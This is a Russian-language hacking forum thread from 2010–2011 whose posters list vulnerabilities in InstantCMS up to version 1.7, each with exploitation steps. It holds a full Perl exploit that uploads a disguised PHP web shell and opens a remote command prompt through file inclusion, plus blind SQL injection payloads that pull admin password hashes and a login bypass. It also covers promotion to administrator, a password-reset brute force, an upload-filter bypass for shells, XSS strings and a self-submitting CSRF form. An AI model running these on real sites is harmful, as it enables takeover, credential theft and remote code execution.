Старый 13.07.2010, 14:09   #1
The matrix
 
Аватар для The matrix
 
Регистрация: 05.07.2010
Сообщений: 39
Репутация: 46
По умолчанию Обзор уязвимостей instantCMS

свои старые и новые находки перенесу, будет полезно.
Баги в версии<=== v 1.5.1
LFI
Need: mq=off

index.php
PHP код:
$inCore->proceedBody(); 
/core/cms.php
PHP код:
public function proceedBody(){
        
$inPage         cmsPage::getInstance();
        
$menuid         $this->menuId();
        
$is_component   false;
        
ob_start();
        if (isset(
$_REQUEST['view'])) { $component htmlentities($_REQUEST['view'], ENT_QUOTES); }
        if (isset(
$component)){
            
//CHECK COMPONENT NAME (типа фильтр)
            
if (strstr($component' ') ||
                
strstr($component'\'') ||
                
strstr($component'"') ||
                
strstr($component'&') ||
                
strstr($component'#') ||
                
strstr($component'*') ||
                
strstr($component'>') ||
                
strstr($component'<')    )
            { die(
'HACKING ATTEMPT BLOCKED'); }
            
//EXECUTE COMPONENT
            
if(file_exists('components/'.$component.'/frontend.php')){
                echo 
'<div class="component">';
                    require (
'components/'.$component.'/frontend.php');
                    eval(
$component.'();');                    
                echo 
'</div>';
                
$is_component true;
                if (
$menuid != && $inPage->back_button) { echo "<p><a href='javascript:history.go(-1)' class=\"backlink\">&laquo; Назад</a></p>"; }
            } else { echo 
'<p>Компонент не найден!</p>'; }
        }
        
$inPage->page_body ob_get_clean();

        if (
$is_component) { $inPage->page_body cmsCore::callEvent('AFTER_COMPONENT_'.mb_strtoupper($component), $inPage->page_body); }

        return 
true;
    }
.................................. 
exploit
Код:
Index.php?view=[LFI]%00
Баги в версии <=== v 1.5.3
LFI
Выкладываю свою прошлогоднюю, но интересную находку. В последней недавней версии дыра залатана
PHP код:
................
if (isset(
$_REQUEST['do'])){ $do $_REQUEST['do'];    } else { $do 'rss';         }
    if (isset(
$_REQUEST['target'])){ $target $_REQUEST['target'];    } else { die(); }
    if (isset(
$_REQUEST['item_id'])) { $item_id $_REQUEST['item_id']; } else { die(); }

    if (!isset(
$cfg['addsite'])) { $cfg['addsite'] = 1; }
    if (!isset(
$cfg['icon_on'])) { $cfg['icon_on'] = 0; }
    if (!isset(
$cfg['maxitems'])) { $cfg['maxitems'] = 50; }

////////////////////// RSS /////////////////////////////////////////////////////////////////////////////////////////////////
if ($do=='rss'){
    
$rss '';
    
    if (
file_exists($_SERVER['DOCUMENT_ROOT'].'/components/'.$target.'/prss.php')){
        
        
$inCore->includeFile('components/'.$target.'/prss.php');
        
        eval(
'rss_'.$target.'($item_id, $cfg, $rssdata);');
............. 
Need: MQ=OFF
Как юзать:
передаем item_id, чтобы не вызвать die и evil file через target.
далее можно залить "картинку" в профиле и сделать инклуд.
http://localhost/components/rssfeed/...et=evilfile%00
Для удобства написал сплоент дающий выполнение системных команд через LFI.
CODE EXECUTION via LFI

Код:
#!/usr/bin/perl
######################
# Подключим библиотеки
######################
use LWP::UserAgent;
use HTTP::Cookies;
use Getopt::Std;
use HTTP::Request::Common;
use Time::HiRes qw(sleep);
#####################
# Зададим параметры
#####################
getopt("d:h:u:p");
if (!$opt_h) {
&logo(); 
exit();
}
if (!$opt_d) {
&logo(); 
exit();
}
if (!$opt_u) {
&logo(); 
exit();
}
if (!$opt_p) {
&logo(); 
exit();
}
$host=$opt_h;
$dir=$opt_d;
$user=$opt_u;
$password=$opt_p;
$page2="index.php";
$page1="core/auth.php";
$page11="login";

$ereg = '<cmd>(.*?)<\/cmd>';
$cmd="echo matrix";
$fucking_shell='<cmd><?php system($_REQUEST[cmd]); ?></cmd>';
$exit="exit";
######################
#   Лицо                    
#####################
# 

sub logo() 
{
print
"\t\t
 ###########################################################################
 ############          INSTANT CMS <=== 1.5.3 remote code execution        #
 ############             coddddeeddd by The matrix                              #
 ###########################################################################
 # usage: exploit.pl                                                       # 
 #-h [host]                                                                #
 # -d[path with site]                                                      #
 # -u [login]                                                              #
 # -p [password]                                                           #
 # exploit.pl -h http://site -d / -u evil -p qwer                          #
 #      !!!!!!!! NEEEEED MAGIC_QUOTES_GPC=OFF                              # 
 #                                                                         #
 #                                                                         # 
 ###########################################################################\n\n";
}
#############################
# аутификация                       
#############################
sub auth() {
		print"[~]login\n";
		my $browser = LWP::UserAgent->new;
		$client = LWP::UserAgent->new();
		$cookie_jar = HTTP::Cookies->new();
		$client->cookie_jar($cookie_jar);
		$op='ok';
	
		$answer=$client->post(
		"http://".$host.$dir.$page1,
				[
				'login' => $user,
				'pass' => $password,
				'Submit'=> $op
				]
);
}
sub auth2() {
		print"[~]login\n";
		my $browser = LWP::UserAgent->new;
		$client = LWP::UserAgent->new();
		$cookie_jar = HTTP::Cookies->new();
		$client->cookie_jar($cookie_jar);
		$op='ok';
	
		$answer=$client->post(
		"http://".$host.$dir.$page11,
				[
				'login' => $user,
				'pass' => $password,
				'Submit'=> $op
				]
);
}
#############################
# тест печенюшек        
#############################
#

	sub test() {
	$response = $client->get("http://".$host.$dir.$page2
	);
	$ans = $response->content;
	if ($ans =~ /logout/){
	print"[+]login complete";
	}
else{
	print "\n[-]login failed...Ok...Time for plan B...";
	$debug=1;
}
	}


	sub test2() {
	$response = $client->get("http://".$host.$dir.$page2
	);
	$ans = $response->content;
	if ($ans =~ /logout/){
	print"[+]login complete";
	}
else{
	print "\n[-]login failed. check you account";
	exit();
}
	}
		

#######################
# Get id
#######################
sub id {
print "\n[~] Getting id";
	$response = $client->get("http://".$host.$dir.$page2
	);
	$ans = $response->content;
if ($ans =~ /users\/0\/(.*?)\/profile.html/) {
$id=$1;
print "\n[+] Yes, id = $id";
$page3="users/0/".$id."/addphoto.html";
}
	else {
	print "\nfailed get id";
	exit()
	}
}
#######################
# Upl0ad fucking shell
#######################

sub main {
print "\n[~]Uploading...";
$response = $client->request(POST "http://".$host.$dir.$page3,
Content_Type => 'multipart/form-data', 
Content   =>
[
upload => 1,
userid => $id,
picture =>
	[
		undef,
		"123.jpg",
		content => $fucking_shell,
		"Content-Type"	=> "image/gif"
	]
]);
$ans = $response->content;
open(F1,"> one.txt");
print (F1 "$ans");
	print "\n[~]Get some fucking image hash";
	if ($ans =~ /name="imageurl" value="(.*?)"/) {
	print "\n[+]image hash = $1";
$hash=$1;
	}
	}
########################
# CODE EXECUTION Test!
########################
sub exec {
$page4="components/rssfeed/frontend.php?item_id=1&target=../images/users/photos/$hash%00";
print "\n[~] Testing code execution";
	$response = $client->post("http://".$host.$dir.$page4,
Content_Type => 'multipart/form-data',
content =>
[ 
cmd => $cmd
]
	);
$ans = $response->content;
if ($ans =~ /matrix/) {
$expl0it3d=1;
print "\n[+] Target has been Exp0it3d!!!!!!!!";
}
	else
	{
		print "\n[-]sorry magic_quotes=on or cms unvulnerable";
	}
}


&logo();
&auth();
&test();
if ($debug==1) {
&auth2();
&test2();
	}
&id();
&main();
&exec();
########################
#Счастье
########################
if($expl0it3d == 1) {
while($cmd !~ /^exit$/i) {
print "\ncmd-line\#:";
$cmd=<STDIN>;
chomp $cmd;
$response = $client->post("http://".$host.$dir.$page4,
Content_Type => 'multipart/form-data',
content =>
[ 
cmd => $cmd
]
	);
$ans = $response->content;
if ($ans =~/$ereg/si) {
print "$1";
}
else {
print "what the fuck????";
}
}
	}
// почитал статью с ][ оказывается Spyder первооткрыватель хек
sql inj
Need:mq=off
Любые Элементы $_POST в instantCMS проходят фильтрацию. Но фильтр оставляет не тронутыми:
1) \
2) "
Вследствии чего даже обычный юзер по ошибке может вызвать ошибку бд. Допустим запостив на форуме пост оставив на конце \
Рассмотрим скрипт регистрации юзеров.
/components/registration/frontend.php
PHP код:
if($inDB->rows_count('cms_users''LOWER(nickname) LIKE "'.strtolower($nickname).'"'1)){
            
$msg .= $_LANG['ERR_NICK_EXISTS'].'<br/>';

/core/classes/db.class.php
PHP код:
public function rows_count($table$where$limit=0){
    
$sql "SELECT * FROM $table WHERE $where";

    if (
$limit) { $sql .= " LIMIT ".$limit; }

    
$result $this->query($sql);
    return 
$this->num_rows($result);

Суть:Перед тем как аккаунт занесется в бд, он проверится на совпадения.
$nickname Окружена двойными кавычками, они не трогаются фильтрами поэтому.
вбиваем в поле никнейм следующую шляпу.
Код:
1" and 1=if(ascii(substring((select concat(login,0x3a,password) from cms_users where id=1),1,1))=1,1,(select 1 union select 2))#
С эксплуатацией придется помучаться, так как < и > - жрет фильтр.
Баги в версии <=== v 1.6.1
множественные sql inj
Sql inj много как в insert, как в Update так и в select запросах. Рассмотрим одну из них, повкуснее, для которой нет зависимостей.
Постараюсь рассказать процесс и его суть в точности как он проходил у меня

идем в раздел блогов, новостей или статей. Выбираем произвольный блог статью или новость. Я выбрал новость. Под новостью приведена вставка модуля голосования. Тыкаем на кнопочку "Одобрить". И снифаем пакет. Получилось:
Код:
POST /core/ajax/karma.php HTTP/1.0
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Accept: text/html, */*, text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
User-Agent: Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.2.15 Version/10.10
Host: localhost
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
Referer: http://localhost/content/10/novosti/nash-sait-otkryt.html
Cookie: PHPSESSID=b1d2ebf29a56a9d67ad9c792526ea4f7
Cookie2: $Version=1
Proxy-Connection: Keep-Alive
Content-Transfer-Encoding: binary
Content-Length: 39

cd=1&opt=plus&target=content&item_id=20
POST'ом перекинули значения на /core/ajax/karma.php
вот са фак:
Сорри. Забегу вперед. С этими переменными мы будем иметь дело.
/core/ajax/karma.php
PHP код:
    if (!isset($_REQUEST['target'])) { die(2); } else { $target $_REQUEST['target']; }
    if (!isset(
$_REQUEST['item_id'])) { die(3); } else { $item_id $_REQUEST['item_id']; }    
    if (!isset(
$_REQUEST['opt'])) { die(4); } else { $opt $_REQUEST['opt']; } 
теперь функции
PHP код:
if (!$inUser->update()) { $inCore->halt(); }
................................
    
$inCore->loadLib('karma');
    
    if (
$opt=='plus'){
        
cmsSubmitKarma($target$item_id10);
    }
    if (
$opt=='minus'){
        
cmsSubmitKarma($target$item_id, -1);
    }

    
$postkarma cmsKarma($target$item_id);
........................... 
Дрючим скрипты и смотрим функции loadLib() и cmsKarma();
/core/cms.php
PHP код:
    public function loadLib($lib){
        
$libfile PATH.'/core/lib_'.$lib.'.php';
        if (
file_exists($libfile)){
            include_once(
$libfile);
            return 
true;
        } 
понятно. Значит
$inCore->loadLib('karma');
подгрузит нам:
/core/lib_karma.php
Значит далее.
/core/lib_karma.php
PHP код:
function cmsKarma($target$item_id){ //returns array with total votes and total points of karma
    
$inDB cmsDatabase::getInstance();
    
$sql "SELECT *, SUM(points) as points, COUNT(id) as votes
            FROM cms_ratings 
            WHERE item_id = 
$item_id AND target='$target'
            GROUP BY item_id"
;
    
$result $inDB->query($sql);
    if (
$inDB->num_rows($result)){
        
$data $inDB->fetch_assoc($result);
        
$data['points'] = round($data['points'], 2);
    } else {
        
$data['points'] = 0;
        
$data['votes'] = 0;
    }    
    return 
$data;

Вот и запрос. Судя по karma.php и lib_karma.php $item_id и $target остаются нетронутыми. Инжектить мы будем $item_id тк в запросе он не обрамлен кавычками, а значит мы обойдем MQ =)
Вернемся к нашему отснифаному пакету. И модифицируем его так:
Код:
POST /core/ajax/karma.php HTTP/1.0
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Accept: text/html, */*, text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
User-Agent: Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.2.15 Version/10.10
Host: localhost
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
Referer: http://localhost/content/10/novosti/nash-sait-otkryt.html
Cookie: item_id=1 and 1=if(ascii(substring((select concat(login,0x3a,password) from cms_users where id=1),1,1))>1,1,(select 1 union select 2))#
Cookie2: $Version=1
Proxy-Connection: Keep-Alive
Content-Transfer-Encoding: binary
Content-Length: 39

cd=&opt=plus&target=conten
Это логическая единица.
Код:
POST /core/ajax/karma.php HTTP/1.0
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Accept: text/html, */*, text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
User-Agent: Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.2.15 Version/10.10
Host: localhost
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
Referer: http://localhost/content/10/novosti/nash-sait-otkryt.html
Cookie: item_id=1 and 1=if(ascii(substring((select concat(login,0x3a,password) from cms_users where id=1),1,1))<1,1,(select 1 union select 2))#
Cookie2: $Version=1
Proxy-Connection: Keep-Alive
Content-Transfer-Encoding: binary
Content-Length: 39

cd=&opt=plus&target=conten
Это логический 0.
По причине фильтра POST данных переопределяем item_id через куки.
В том же месте есть еще несколько подобных скулей с участием этих же переменных.
lib.karma.php
PHP код:
function cmsSubmitKarma($target$item_id$points){
    
$inUser cmsUser::getInstance();
    
$inDB   cmsDatabase::getInstance();
    
$id     $inUser->id;
    
$ip     $_SERVER['REMOTE_ADDR'];
    if(!
cmsAlreadyKarmed($target$item_id$id)){
        
$sql "INSERT INTO cms_ratings (item_id, points, ip, target, user_id, pubdate) VALUES ($item_id$points, '$ip', '$target', $id, NOW())";
        
$inDB->query($sql);
    }
    return 
true;

вышеупомянутая SubmitKarma
Код:
INSERT INTO cms_ratings (item_id, points, ip, target, user_id, pubdate) VALUES ($item_id, $points, '$ip', '$target', $id, NOW())
Можно было бы составить evil запрос и вывести значение прямо в points, после чего его можно было наблюдать на странице новости без всяких blind, но структура таблицы нам не позволяет этого сделать поле points имеет type int(11). Поэтому:
Код:
INSERT INTO cms_ratings (item_id, points, ip, target, user_id, pubdate) VALUES (1 and 1=if(ascii(substring((select concat(login,0x3a,password) from cms_users where id=1),1,1))<1,1,(select 1 union select 2)), $points, '$ip', '$target', $id, NOW())
логический 0
Код:
INSERT INTO cms_ratings (item_id, points, ip, target, user_id, pubdate) VALUES (1 and 1=if(ascii(substring((select concat(login,0x3a,password) from cms_users where id=1),1,1))>1,1,(select 1 union select 2)), $points, '$ip', '$target', $id, NOW())
Логическая единица.
Переустановка пароля админа и угадывание его
Для эксплуатации нужно:
Админское мыло(по умолчанию отображается в профиле)
много времени.
В чем суть:
/components/registration/frontend.php
PHP код:
                $sql "SELECT * FROM cms_users WHERE email = '$email' LIMIT 1";
                
$result $inDB->query($sql) ;

                if (
$inDB->num_rows($result)>0){
                    
$usr $inDB->fetch_assoc($result);
        

                    
$newpassword substr(md5(microtime()), 06);
                    
$inDB->query("UPDATE cms_users SET password = '".md5($newpassword)."' WHERE id = ".$usr['id']) ;


                    
$mail_message $_LANG['HELLO'].', ' $usr['nickname'] . '!'"\n\n";
            
$mail_message $_LANG['HELLO'].', ' $usr['nickname'] . '!'"\n\n";    
                    
$mail_message .= $_LANG['REMINDER_TEXT'].' "'.$inConf->sitename.'".' "\n\n";
                    
$mail_message .= $_LANG['OUR_PASS_IS_MD5'] . "\n";
                    
$mail_message .= $_LANG['OUR_PASS_IS_MD5_TEXT'] . "\n\n";
                    
$mail_message .= '########## '.$_LANG['YOUR_LOGIN'].': ' .$usr['login']. "\n\n";
                    
$mail_message .= '########## '.$_LANG['YOUR_NEW_PASS'].': ' .$newpassword "\n\n";
                    
$mail_message .= $_LANG['YOU_CAN_CHANGE_PASS']."\n";
                    
$mail_message .= $_LANG['IN_CONFIG_PROFILE'].': 'cmsUser::getProfileURL($usr['login']) . "\n\n";
                    
$mail_message .= $_LANG['SIGNATURE'].', '$inConf->sitename ' ('.HOST.').' "\n";
                    
$mail_message .= date('d-m-Y (H:i)');   
                    
$inCore->mailText($email$inConf->sitename.' - '.$_LANG['REMINDER_PASS'], $mail_message); 
Этот скрипт восстанавливает пароль рассеяным юзерам. Но как он это делает.
1) Проверяет есть ли мыльник в бд.
2) Скрипт не церемонясь присваивает значение паролю равному первым шести символам хеша от значения, которое генерирует функция microtime().
Код:
Функция microtime() возвращает текущую метку времени с микросекундами. Эта функция
 доступна только
 на операционных системах, в которых есть системная функция gettimeofday(). 
При вызове без необязательного параметра, возвращается строка в формате "msec sec",
где sec - это количество секунд, прошедших с начала Эпохи
 Unix (The Unix Epoch, 1 января 1970, 00:00:00 GMT), а msec - это дробная часть.
она генерирует что-то на подобии.
0.xxxxxx00 [1273589840]
где xxxxxx-доли секунды
то что в квадратных скобках-это количество секунд, прошедших с начала Эпохи Unix.
Как юзать уязвимость:
Отсылаем запрос на восстановление пароля и сниффаем пакет. смотрим в ответе на запрос дату.
Там что-то вроде. Показаны секунды, они нам нужны, чтобы брутить меньше.
Tue, 11 May 2010 20:39:23 GMT
узнаем на локальной машине сколько прошло с момента 1970, 00:00:00 GMT.
2) А вот микросекунды придется брутить, их мы никак не узнаем. Список
создаем вида
0.xxxxxx00 [время в секундах прошедшее от момента "Unix" до момента отправки запроса на восстановление пароля]
пример: 0.30001200 1273589840
всесто xxxxxx вставляем все возможные комбинации из цифр, их 1 млн. Затем преобразуем их к виду.
substr(md5(значение), 0, 6)
возвращаем мд5 каждого получившегося значения и отрезаем от хеша символы после шестого знака.
Пример: 1a512b
Получился словарь 1млн слов. Один из этих слов-сгенерированный пассворд. Брутим веб форму.
У меня на дедике многопоточный брут дает до 11 ппс.
1000000/11=90.909 - то есть в худшем случае пароль мы узнаем через сутки. Геморно, а че поделать. На количество попыток залогиниться ограничений не стоит в форме авторизации.
P.S. Оказывается секунда-это много.
Этот баг не яркий пример приятной эксплуатации. Но все же он ведет к успеху. Т.К. В сгенерированном большом словаре 100% содержится правильный пассворд. И если ничего не остается, как вариант вполне можно юзать.

Нарушение криптостойкости паролей
еще этот баг открывает новую опасность. Сгенерированный пароль сразу попадает в бд. Что это дает? Допустим стянул ты пароль админа через sql inj. А он не расшифровывается, пароль трудный. Что мы делаем:
1) Переустанавливаем пароль той же фичей. Напоминаю пароль состоит из 6 символов, которые являются цифрами или буквами.
2) Стягиваем через sql inj md5 и расшифровываем уже сгенерированный пароль. (думаю пароль из 6 символов [[a-f] и [0-9]] расшифровать не трудно)
Баги в версии <=== v 1.6.2
Перевод простого юзера в админы

Как видно из названия, мы можем из простого юзера попасть в админа.
Need MQ=off
редактирование профиля:
/users/frontend.php
PHP код:

if ($do=='editprofile'){

    
$opt $inCore->request('opt''str''edit');

    if (
usrCheckAuth()){
    
        if (
$inUser->id==$id || $inCore->userIsAdmin($inUser->id)){
        
                if (
$opt == 'save'){
                    
$errors false;
                    
                    
$nickname $inCore->request('nickname''str');
                    if (
strlen($nickname)<2) { cmsCore::addSessionMessage($_LANG['SHORT_NICKNAME'], 'error'); $errors true; }

                    
$gender $inCore->request('gender''str');
                    
                    
$city $inCore->request('city''str');
                    if (
strlen($city)>20) { cmsCore::addSessionMessage($_LANG['LONG_CITY_NAME'], 'error'); $errors true; }

                    
$email $inCore->request('email''str');
                    if (!
strpos($email'@') || !strpos($email'.')) { cmsCore::addSessionMessage($_LANG['REALY_ADRESS_EMAIL'], 'error'); $errors true; }
                    
                    
$showmail       $inCore->request('showmail''int');
                    
$email_newmsg   $inCore->request('email_newmsg''int');
                    
                    
$showbirth      $inCore->request('showbirth''int');
                    
$description    $inCore->request('description''str');
                    
                    
$birthdate      = (int)$_REQUEST['birthdate']['year'].'-'.(int)$_REQUEST['birthdate']['month'].'-'.(int)$_REQUEST['birthdate']['day'];
                    
$signature      $inCore->request('signature''str');

                    
$allow_who      $inCore->request('allow_who''str');
                    
                    
$icq            $inCore->request('icq''str');
                    
$showicq        $inCore->request('showicq''int');
                    
                    
$cm_subscribe   $inCore->request('cm_subscribe''str');
                    
                    if (
$inCore->inRequest('field')){
                        foreach(
$_POST['field'] as $k=>$val){
                            
$_POST['field'][$k] = str_replace('\"''&quot;'$_POST['field'][$k]);
                            
$_POST['field'][$k] = str_replace('"''&quot;'$_POST['field'][$k]);
                            
$_POST['field'][$k] = str_replace("\'"'’'$_POST['field'][$k]);
                            
$_POST['field'][$k] = str_replace("'"'’'$_POST['field'][$k]);
                            
$_POST['field'][$k] = strip_tags($_POST['field'][$k]);
                        }                    
                        
$formsdata $inCore->arrayToYaml($_POST['field']);
                        
$forms_sql ", formsdata='$formsdata'";
                    } else {
                        
$forms_sql '';
                    }
                    
                    if (!
$errors){
                       
                        
$sql "UPDATE cms_user_profiles 
                                 SET city = '
$city',
                                    description = '
$description',
                                    showmail='
$showmail',
                                    showbirth='
$showbirth',
                                    showicq='
$showicq',
                                    allow_who='
$allow_who',
                                    signature='
$signature',
                                    gender='
$gender$forms_sql,
                                    email_newmsg='
$email_newmsg',
                                    cm_subscribe='
$cm_subscribe'
                                WHERE user_id = 
$id";
                        
$inDB->query($sql) ;

                        
$sql "UPDATE cms_users 
                                SET birthdate='
$birthdate',
                                    email='
$email',
                                    icq='
$icq',
                                    nickname='
$nickname'
                                WHERE id = 
$id";
                        
$inDB->query($sql) ;

                        
cmsCore::addSessionMessage($_LANG['PROFILE_SAVED'], 'info');

                    }

                    
$inCore->redirect(cmsUser::getProfileURL($inUser->login));
                    
                } 
Код:
						$sql = "UPDATE cms_users 
								SET birthdate='$birthdate',
									email='$email',
									icq='$icq',
									nickname='$nickname'
								WHERE id = $id";
						$inDB->query($sql) ;
Этот запрос апдейтит cms_users. (Через форму для апдейта). изменяет ICQ, email, nickname.
В этой таблице есть столбец отвечающий за группу пользователя: group_id Если она установлена на 1-то наш пользователь-юзер если 2-пользователь админ.
Здесь нам интересны $icq, $nickname. $email не интересен, так как он через регулярку проходит. $id-id юзера, у которого мы меняем данные.
Юзать так:
В поле ваше имя вбиваем: group_id=2 #
В поле ICQ Вбиваем: 333s \
соответственно $icq=333s \ ; $nickname=group_id=2 #
Давайте посмотрим, что у нас получилось.
Код:
						$sql = "UPDATE cms_users 
								SET birthdate='$birthdate',
									email='$email',
									icq='333s \',
									nickname=', group_id=2 #'
								WHERE id = $id";
После выполнения наш юзер, которому мы меняли данные примет group_id=2 и чудесным образом превратится в админа. На странице появляются ссылки в админку, можно залезать)
Auth0r1zat1oN byPass

Need: mq=off
Не буду нагромождать лишним кодом.
Запрос для авторизации следующий:

PHP код:
$sql    "SELECT * 
                           FROM cms_users
                           WHERE 
$where_login AND password = md5('$passw') AND is_deleted = 0 AND is_locked = 0"
Что нельзя использовать
' (Кавычка) [Реплейсится в `(апостроф)]
легко понять, что этого мало.
Как юзать:

В поле логин пишем: matrix\
в поле пароль пишем: or id=1#
У нас получится:
Код:
SELECT * 
                           FROM cms_users
                           WHERE login = 'matrix\' AND password = md5('or id=1#') AND is_deleted = 0 AND is_locked = 0
И авторизация успешно пройдена.
Баги в версии <=== v 1.6.2(15 may 2010 patched)
Последняя на данный момент.
sql injection (insert)

MQ=off
/components/frontend.php
PHP код:
 "INSERT INTO cms_forum_threads (forum_id, user_id, title, description, icon, pubdate, hits)
                                VALUES ('
$id', '".$inUser->id."', '$title', '$description', '', NOW(), 0)"
Данные обрабатываются по тому же принципу, что и в заметке выше.
$title $description пропускают \
Как это заюзать
создаем на форуме топик
Название:matr1x\
Описание: , (select concat(login,0x3a,password) from cms_users where id=1),1,1,1)#
Мы получаем
Код:
"INSERT INTO cms_forum_threads (forum_id, user_id, title, description, icon, pubdate, hits)
								VALUES ('$id', '".$inUser->id."', 'matr1x\', ', (select concat(login,0x3a,password) from cms_users where id=1),1,1,1)#', '', NOW(), 0)";
закрыли title кавычкой от description и вышли в запрос после чего проинжектировали -)
Теперь идем в список топиков и наблюдаем свой топик в описании которого что-то на подобии
Код:
admin:5f4dcc3b5aa765d61d8327deb882cf99
File Upload
Совсем недавно еще нашел опасный баг в новой версии.
Зависимостей нет
Тащим свой зад на форму аплоада файлов
Код:
http://localhost/users/ваш id/addfile.html
componennts/users/frontend.php
PHP код:
foreach ($_FILES as $key => $data_array) {
                    
$error $data_array['error'];
                    if (
$error == UPLOAD_ERR_OK) {
                        @
mkdir(PATH.'/upload/userfiles/'.$id);
                    
                        
$tmp_name   $data_array["tmp_name"];
                        
$name       $data_array["name"];
                        
$size       $data_array["size"];
                        
$size_mb    += round(($size/1024)/10242);
                        
                        if (
$size_mb <= $free_mb){
                            if(!
strstr($name'.php') && !strstr($name'.asp') && !strstr($name'.aspx') && !strstr($name'.js') && !strstr($name'.html') && !strstr($name'.phtml')){
                                if (
move_uploaded_file($tmp_namePATH."/upload/userfiles/$id/$name")){ 
Функция strstr() регистрозависима.
То есть зальем файл file.pHp, и он пройдет проверку. После заливки, cms добровольно отдаст ссылку на ваш шелл.

Последний раз редактировалось The matrix; 08.12.2011 в 20:10.. Причина: Убрал слова, которые могут обидеть разработчика
The matrix вне форума   Ответить с цитированием
Старый 13.07.2010, 16:57   #2
Ctacok
 
Аватар для Ctacok
 
Регистрация: 06.07.2010
Сообщений: 127
Репутация: 49
По умолчанию

1.5.3
Blind SQL Inj.
Цитата:
/rss/comments/catalog-12234+OR+id=IF(ASCII((SELECT+USER()))%3E=114,1,0)% 20--/feed.rss
/rss/content/-1+OR+id=IF(ASCII((SELECT+USER()))%3E=114,1,0)%20--/feed.rss
/components/rssfeed/frontend.php?target=content&item_id=-1+OR+id=IF(ASCII((SELECT+USER()))%3E=114,1,0)%20--
Пассивная XSS:
Цитата:
/index.php?view=price&do=search&query=%22onMouseMov e=%22javascript:alert();%22
/admin/index.php?view=components&do=config&id=21&opt=edit &item_id=1%22%3E%3Cscript%3Ealert();%3C/script%3E
LFI

Нужны права админа.

Т.к. при ../ - слэш убираеться, юзаем ..\
Цитата:
/admin/index.php?view=..%5C..%5Cshell.txt%00
(В корне лежал файл shell.txt с phpinfo(); ), код выполнился.
SQL Inj
Нужны права админа.

Цитата:
/admin/index.php?view=components&do=config&id=21&opt=edit &item_id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12+--+
PHP код:
 if (isset($_SESSION['editlist'])){ 
                        
$id array_shift($_SESSION['editlist']); 
                        if (
sizeof($_SESSION['editlist'])==0) { unset($_SESSION['editlist']); } else  
                        { 
$ostatok '(На очереди: '.sizeof($_SESSION['editlist']).')'; } 
                     } else { 
$id $_REQUEST['item_id']; } 
         
         
                     
$sql "SELECT * FROM cms_user_autoawards WHERE id = $id LIMIT 1"
                     
$result dbQuery($sql) ; 
                     if (
mysql_num_rows($result)){ 
                        
$mod mysql_fetch_assoc($result); 
                     } 
CSRF Exploit:
Код HTML:
<html>
<title> Fs3M Chm0k3 v 3Nt0m ch4te! =* </title>
<div style='display: none'>
<form action="http://shop/admin/index.php?view=users&do=edit&id=21" method="post" enctype="multipart/form-data" name="addform" id="addform">
<input name="login" type="text" id="logininput" value="Login" />
<input name="nickname" type="text" id="login" value="Xenker"/>
<input name="email" type="text" id="nickname" value="abcd@localhost"/>
<input name="pass" type="password" id="pass"/>
<input name="pass2" type="password" id="pass2"/>
<select name="group_id" id="group_id"><option value="2" >Администраторы</option></select>
<input name="is_locked" type="radio" value="0" checked="checked" />
 Нет
<input name="do" type="hidden" id="do" value="update" />
<input name="add_mod" type="submit" id="add_mod" value="Сохранить профиль" />
</div>
<script>
document.addform.submit();
</script>
</html>
Свои 5 коп )
__________________
Twitter - @Ctacok
Ctacok вне форума   Ответить с цитированием
Старый 26.02.2011, 14:12   #3
The matrix
 
Аватар для The matrix
 
Регистрация: 05.07.2010
Сообщений: 39
Репутация: 46
По умолчанию Вышла версия 1.7

InstantCMS <== 1.7

Уязвимости латаются, но пока еще не кончаются, а популярность движка растет. Поехали.
SQL-INJ без зависимостей
/components/rssfees/frontend.php
PHP код:
$do         $inCore->request('do''str''rss');
    
$target     $inCore->request('target''str''rss');
    
$item_id    $inCore->request('item_id''str''all');

    if (
strstr($target'..') || strstr($target'/')){ $inCore->halt(); }

    if (!isset(
$cfg['addsite'])) { $cfg['addsite'] = 1; }
    if (!isset(
$cfg['icon_on'])) { $cfg['icon_on'] = 0; }
    if (!isset(
$cfg['maxitems'])) { $cfg['maxitems'] = 50; }

////////////////////// RSS /////////////////////////////////////////////////////////////////////////////////////////////////
if ($do=='rss'){
    
$rss '';

    if (
file_exists(PATH.'/components/'.$target.'/prss.php')){

        
cmsCore::loadLanguage('components/'.$target);

        
$inCore->includeFile('components/'.$target.'/prss.php'); // тупо инклуд 
Смотрим что такое $inCore->request.
PHP код:
 public function request($var$type='str'$default=false){
        if (isset(
$_REQUEST[$var])){
            switch(
$type){
                case 
'int':   return (int)$_REQUEST[$var]; break;
                case 
'str':   if ($_REQUEST[$var]) { return $this->strClear($_REQUEST[$var]); } else { return $default; } break;
                case 
'email': if(preg_match("/^([a-zA-Z0-9\._-]+)@([a-zA-Z0-9\._-]+)\.([a-zA-Z]{2,4})$/i"$_REQUEST[$var])){ return $_REQUEST[$var]; } else { return $default; } break;
                case 
'html':  if ($_REQUEST[$var]) { return $this->strClear($_REQUEST[$var], false); } else { return $default; } break;
                case 
'array': if (is_array($_REQUEST[$var])) { return $_REQUEST[$var]; } else { return $default; } break;
                case 
'array_int': if (is_array($_REQUEST[$var])) { foreach($_REQUEST[$var] as $k=>$i){ $arr[$k] = (int)$i; } return $arr; } else { return $default; } break;
                case 
'array_str': if (is_array($_REQUEST[$var])) { foreach($_REQUEST[$var] as $k=>$s){ $arr[$k] = $this->strClear($s); } return $arr; } else { return $default; } break;
            }
